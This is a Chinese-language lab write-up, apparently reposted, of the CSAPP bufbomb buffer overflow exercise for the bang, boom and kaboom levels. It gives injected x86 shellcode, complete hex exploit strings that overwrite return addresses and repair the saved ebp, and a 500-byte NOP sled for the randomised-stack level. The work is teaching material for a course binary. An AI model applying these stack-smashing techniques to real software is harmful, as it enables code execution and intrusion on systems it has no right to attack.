CSAPP lab3 bufbomb-緩沖區溢出攻擊實驗(下)bang boom kaboom


 

CSAPP lab3 bufbomb-緩沖區溢出攻擊實驗(上)smoke fizz

CSAPP lab3 bufbomb-緩沖區溢出攻擊實驗(下)bang boom kaboom

棧結構鎮樓

 

 

這里先給出getbuf的反匯編代碼和棧結構,方便下面的使用。

 棧結構:

 

 

 

第2關:bang

構造攻擊字符串作為目標程序輸入,造成緩沖區溢出,使目標程序能夠執行bang函數;並且要篡改全局變量global_value為cookie值,使其判斷成功。但我們知道全局變量放置在bss節或data節,並不存放在棧中,前面的方法只能修改棧中的內容,無法修改全局變量的內容。那我們需要換一種思路,先構建一段惡意代碼,通過該段惡意代碼,修改全局變量的值,以及其他操作。
我們需要將惡意代碼放置在攻擊字符串中,使得getbuf返回之后,首先執行這段惡意代碼,然后再執行bang函數。
先看一下bang的源碼:

#define NORMAL_BUFFER_SIZE 32
void test()
{
    int val;
    /* Put canary on stack to detect possiblecorruption */
    volatile int local = uniqueval();
    val = getbuf();
    /* Check for corruption stack */
    if (local != uniqueval())
    {
        printf("Sabotaged!: the stack has beencorrupted\n");
    }
    else if (val == cookie)
    {
        printf("Boom!: getbuf returned0x%x\n", val);
        validate(3);
    }
    else
    {
        printf("Dud: getbuf returned0x%x\n", val);
    }
}
int getbuf()
{
    char buf[NORMAL_BUFFER_SIZE];
    Gets(buf);
    return 1;
}
int global_value = 0;
void bang(int val)
{
    if (global_value == cookie)
    {
        printf("Bang!: You set global_value to 0x%x\n",
               global_value);
        validate(2);
    }
    else
        printf("Misfire: global_value = 0x%x\n", global_value);
    exit(0);
}

 

先找到全局變量的位置:在bang函數里看到有兩個內存地址,正好和源程序里的判斷相等對應,接下來確定哪一個是全局變量。

0x804d100和0x804d108那一個是全局變量?

這里我用gdb調試

gdb bufbomb

getbuf函數設斷點,運行,查看一下兩個地址的值,很明顯,0x804d100是全局變量。

注意這里的調試方法設置完斷點后運行的指令

(gdb) r -u stu

這里的stu是userid !

到這里全局變量也找到了,那么我們也就能寫出惡意代碼來了。

movl   $0x4f802594,0x804d100//將cookie賦值給全局變量
push   $0x08048cad //函數bang的地址壓入棧
ret

 將惡意代碼保存到擴展名為.s的匯編代碼文件,然后用gcc –m32 –c 編譯成.o可重定位目標文件,然后objdump –d 反編譯出機器碼。

 

這是惡意代碼,我們需要的是這些16進制的機器碼,我把它們放到buf區域里,然后執行就可以了。要執行這些代碼就需要讓控制流可以跳到這,只要把這段惡意代碼的首地址放到getbuf函數的返回地址處就可以了,也就是buf緩沖區的首地址放到getbuf函數返回地址。接下來找buf緩沖區的首地址:

看一下getbuf函數,發現,在圖中0x80491f7處,ebp減小開辟了一段空間,也就是buf區域,eax寄存器中放的就是該空間的首地址,即buf首地址。

gdb調試,我們在0x80491fd也就是call gets之前設置斷點來查看eax寄存器中的內容,查看eax的值。

處理成小端也就是

e8 39 68 55

最終編寫的惡意代碼:

c7 05 00 d1 04 08 94 /*movl   $0x4f802594,0x804d100*/
25 80 4f 
68 ad 8c 04 08       /*push   $x08048cad*/
c3                   /*ret*/
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
e8 39 68 55          /*buff首地址0x556839e8*/

將其保存到一個txt文件中,用管道輸入,通過hex2raw之后輸入bufbomb程序。

完成!

第3關:boom

前面的攻擊都是使目標程序跳轉到特定函數,進而利用exit函數結束目標程序運行,在這個過程中我們都把原來的恢復現場需要用的返回地址和原test的ebp給破壞了。Boom這一關中,我們將修復這些被我們破壞的棧狀態信息,讓最后還是回到test中,讓被攻擊者不容易發現我們動了手腳,

另外,構造攻擊字符串,使得getbuf都能將正確的cookie值返回給test函數,而不是返回值1。設置返回值也就是更改eax(eax中保存的就是函數的返回值)的值,可以用mov指令設置eax存的為cookie值。更改完要進入test函數繼續執行下面的指令,也就是下圖中這個位置,將這個地址壓棧。

 

void test()
{
    int val;
    /* Put canary on stack to detect possiblecorruption */
    volatile int local = uniqueval();
    val = getbuf();
    /* Check for corruption stack */
    if (local != uniqueval())
    {
        printf("Sabotaged!: the stack has beencorrupted\n");
    }
    else if (val == cookie)///getbuf函數返回值為cookie
    {
        printf("Boom!: getbuf returned0x%x\n", val);
        validate(3);
    }
    else
    {
        printf("Dud: getbuf returned0x%x\n", val);
    }
}

 

綜合起來惡意代碼就是:

/*cookie0x4f802594*/
movl $0x4f802594,%eax //將返回值修改為cookie
pushl $0x8048dce      //將call getbuf函數的下一條要執行的指令的地址壓入返回地址
ret                   //用ret來執行返回地址
                   

 用同bang那關一樣的方法,得到字節碼:

惡意代碼准備好了,將返回地址更改為指向這個代碼的位置,把惡意代碼放到buf緩沖區內,返回地址和bang一樣。

接下來要恢復ebp的值,先得到ebp舊值。

gdb調試:在getbuf第一行,push ebp 設置斷點。查看ebp的值。

ebp=0x55683a40,即40 3a 68 55

用這個值覆蓋ebp值。ebp值在返回地址的低方位,放在返回地址前。

最終編寫的惡意代碼:

b8 94 25 80 4f          /*movl $0x4f802594,%eax */
68 ce 8d 04 08          /*pushl $0x8048dce */
c3                      /*ret*/
00 00 00 00 00 
00 00 00 00 00 
00 00 00 00 00 
00 00 00 00 00 
00 00 00 00 00 
00 00 00 00
40 3a 68 55             /*old ebp:0x55683a40*/
e8 39 68 55             /*buff首地址0x556839e8*/

將其保存到一個txt文件中,用管道輸入,通過hex2raw之后輸入bufbomb程序。

 

nice!

第4關:kaboom


這一關難度比前面都大。但也是承接上一關的,構造攻擊字符串使getbufn函數,返回cookie值至testn函數,而不是返回值1,需要將cookie值設為函數返回值,復原被破壞的棧幀結構,並正確地返回到testn函數。但這一關與之前最大的不同在於地址空間隨機化,每次攻擊,被攻擊函數的棧幀內存地址都不同,也就是函數的棧幀位置每次運行時都不一樣,不能准確地跳轉到棧空間的某個特定地址。因此,要想辦法保證每次都能夠正確復原原棧幀被破壞的狀態,使程序每次都能夠正確返回。

進入這一關需要加入-n選項,調的函數是testn和getbufn,而不是前面的test和getbuf。這道題有5個test case,要都通過才算過。

說點題外話這一關還有一個別名Nitro 硝化甘油,這是一種不穩定的火葯,其實從這里也暗示了這一關的攻擊不穩定。

 

先看一下源碼:

#define KABOOM_BUFFER_SIZE 512
void testn()
{
    int val;
    volatile int local = uniqueval();
    val = getbufn();
    /* Check for corrupted stack */
    if (local != uniqueval())
    {
        printf("Sabotaged!: the stack has been corrupted\n");
    }
    else if (val == cookie)
    {
        printf("KABOOM!: getbufn returned 0x%x\n", val);
        validate(4);
    }
    else
    {
        printf("Dud: getbufn returned 0x%x\n", val);
    }
}
int getbufn()
{
    char buf[KABOOM_BUFFER_SIZE];
    Gets(buf);
    return 1;
}

在這一關buffersize也從32增大到了512,這個做法是有意義的。

大概的思路是,雖然棧的初始地址不同,但會在一些范圍里浮動,所以我們需要把我們的代碼填在512字節的最后幾個字節里,並且前面全面的空間都填上nop(編碼為0x90)。不管我們跳轉到哪個nop,最后都會執行到我們的代碼。

 

ebp是隨機的,但是ebp相對esp是絕對的,根據上面的圖中結合棧結構得出

ebp = esp + 0x24 + 4 = esp + 28

getbufn函數返回后要從0x8048e4a開始執行,將這個地址壓棧。

設置cookie給eax。

綜合得出惡意代碼為:

mov    $0x4f802594,%eax  //將返回值修改為cookie
lea    0x28(%esp),%ebp   //ebp=esp+28
push   $0x8048e4a        //將call getbufn函數的下一條要執行的指令的地址壓入返回地址
ret

 轉換為字節碼:

 

再回到getbufn函數:

 

要填入0x208+4+4=528字節。

因為隨機,不知道程序會跳到哪里,所以把惡意代碼放到最后面,用nop滑行。

(nop不會執行任何操作,只有PC加一,機器碼是90。)

所以,前面塞滿90,最后面寫上惡意代碼程序,以及最后要跳的位置。

   尋找要跳的地址:

由於隨機化,buf首地址不確定。用gdb調試:在0x8049218設斷點,看eax的值。(每執行一次,要用c命令繼續,進而執行下一次)

如此這樣五次,注意這次調試時運行r需要加入-n

(gdb) r -nu stu

 

這樣獲得了5個buf起始地址。

0x55683808
0x556837a8
0x55683878
0x55683858
0x556837a8

取最高地址0x55683878(78 38 68 55)作為返回地址,這樣就會一路滑行到惡意代碼,執行惡意代碼。

綜上:

90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
/*100*/
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
/*200*/
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
/*400*/
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
/*500*/
90 90 90 90 90 90 90 90 90
b8 94 25 80 4f                /*mov    $0x4f802594,%eax*/
8d 6c 24 28                   /*lea    0x28(%esp),%ebp */
68 4a 8e 04 08                /*push   $0x8048e4a */
c3 
78 38 68 55                   /*0x55683878*/

同上管道輸入。

注意:需要注意的是因為在Nitro模式下主程序需要讀五次input以滿足執行五次的需要,因此在執行./hex2raw程序時請注意添加 -n flag以保證input string 被復制五次每次以\n結尾以結束每次的gets()函數調用。

完結撒花!


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM